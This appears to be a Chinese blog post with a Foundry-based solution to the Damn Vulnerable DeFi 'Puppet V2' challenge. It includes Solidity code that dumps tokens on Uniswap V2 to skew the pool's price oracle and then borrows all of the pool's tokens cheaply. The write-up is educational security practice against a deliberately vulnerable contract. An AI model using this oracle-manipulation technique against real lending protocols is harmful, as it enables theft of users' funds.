xChar
·a year ago

Challenge #9 - Puppet V2

为了系统的学习solidity和foundry,我基于foundry测试框架重新编写damnvulnerable-defi的题解,欢迎交流和共建~🎉

https://github.com/zach030/damnvulnerabledefi-foundry

合约

  • PuppetV2Pool: 提供borrow方法,用weth换出token,token价格来自于uniswap的报价
  • Uniswap-v2相关合约

测试

  • 部署weth和token合约
  • 部署uniswap factory、router、pair合约
  • 通过与router合约交互注入流动性,token数目:UNISWAP_INITIAL_TOKEN_RESERVE,eth数目:UNISWAP_INITIAL_WETH_RESERVE
  • 部署puppetV2Pool合约,向player和pool中分别转入PLAYER_INITIAL_TOKEN_BALANCE和POOL_INITIAL_TOKEN_BALANCE数目的token
  • 执行测试脚本
  • 期望pool中的token余额为0,player的token余额大于POOL_INITIAL_TOKEN_BALANCE

题解

这道题的攻击思路和Puppet- v1的思路类似,仍然是利用uniswap价格预言机对pool进行攻击,

值得注意的是这里使用的都是uniswap-v2,在v2中使用的是token和weth的代币对,但是player用户开始只有eth,需要与weth合约进行交互

完整的攻击流程如下图所示:

  • 第一步:通过调用swapExactTokensForTokens 将player账户中的全部token换成weth,从而降低token在uniswap中的单价
  • 第二步:计算借出池子中的全部token需要花费多少weth,在经过第一步后已经拿到一部分weth,再通过质押eth补齐剩余的weth
  • 第三步:调用池子的borrow 方法,将pool中的全部token借出
  • 第四步:(本题未做要求,可以将weth放入池子中,补足池子中的差价)

image

完整的步骤代码示例如下:

token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
// swap token to weth
uniswapV2Router.swapExactTokensForTokens(
    PLAYER_INITIAL_TOKEN_BALANCE, // amount in
    1,                            // amount out min
    path,                         // path
    address(player),              // to
    block.timestamp*2             // deadline
);
uint256 value = pool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
uint256 depositValue = value - weth.balanceOf(address(player));
weth.deposit{value: depositValue}();
weth.approve(address(pool), value);
pool.borrow(POOL_INITIAL_TOKEN_BALANCE);
Loading comments...